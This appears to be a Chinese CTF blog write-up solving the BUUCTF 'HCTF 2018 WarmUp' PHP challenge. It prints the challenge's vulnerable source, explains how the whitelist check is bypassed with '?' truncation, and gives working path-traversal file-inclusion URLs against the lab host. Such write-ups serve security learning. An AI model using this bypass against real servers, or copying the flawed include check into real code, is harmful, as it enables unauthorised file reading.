buu[HCTF 2018]WarmUp 代码审计 php

首先,对index的认识:

1、网站默认页面,负责展示网站内容;

2、处理和执行传递给该页面的请求参数,并根据不同参数返回不同结果;

3、作为框架的入口,方便控制整个网站请求的管理;

4、作为API的入口,方便数据交互和处理。

后缀加/index.php可以直接进行访问,后再加一个“?”进行GET或POST传参

php相关函数

isset() 函数用于检测变量是否已设置并且非 NULL。

in_array() 函数搜索数组中是否存在指定的值。

mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。

mb_strpos — 查找字符串在另一个字符串中首次出现的位置

$_REQUEST 用于收集 HTML 表单提交的数据

empty() 函数用于检查一个变量是否为空。

文件所处位置:

"./":代表目前所在的目录。

" . ./"代表上一层目录。

"/":代表根目录。

buu[HCTF 2018]WarmUp 代码审计 php

第一步查看源码,找到提示,直接访问/source.php查看php

直接就是源码,接着进行审计

  <?php
     highlight_file(__FILE__);
     class emmm
     {
         public static function checkFile(&$page)//传入变量page
         {
             //定义白名单
             $whitelist ["source"=>"source.php","hint"=>"hint.php"];//传参试试看
             if (! isset($page) || !is_string($page)) {
                 //flies存在,且为字符串
                 echo "you can't see it";
                 return false;
             }
 ​
             if (in_array($page, $whitelist)) {
                 //白名单过滤
                 return true;
             }
 ​
             $_page = mb_substr(
                 $page,
                 0,
                 mb_strpos($page . '?', '?')
             );
             /*是个截断,获取两个“?”之间的字符串*/
             if (in_array($_page, $whitelist)) {
                 return true;
             }
 ​
             $_page = urldecode($page);//url编码
             $_page = mb_substr(
                 $_page,
                 0,
                 mb_strpos($_page . '?', '?')
             );//再次进行如上面的截断
             if (in_array($_page, $whitelist)) {
                 return true;
             }
             echo "you can't see it";
             return false;
         }
     }
 ​
     if (! empty($_REQUEST['file'])
         && is_string($_REQUEST['file'])
         && emmm::checkFile($_REQUEST['file'])
     ) {
         include $_REQUEST['file'];
         exit;
     } else {
         echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
     }  
 ?> 

因为要满足四个if皆成立,所以从传入参数必须为白名单,两个参数皆传入尝试发现hint.php,得到flag所处位置在ffffllllaaaagggg

又发现需要在两个?之间且第三个if先进行url解码,直接进行url解码,发现?不受影响故而不对其做出更改。

猜测ffff重复了四次故在第四层目录,使用四层或五层../

http://efd74f9a-2e49-41bc-a554-9a5dfb02ecfa.node5.buuoj.cn:81/index.php?file=source.php?../../../../../ffffllllaaaagggg

(或者http://efd74f9a-2e49-41bc-a554-9a5dfb02ecfa.node5.buuoj.cn:81/index.php?file=hint.php?../../../../../ffffllllaaaagggg)

  • 12
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值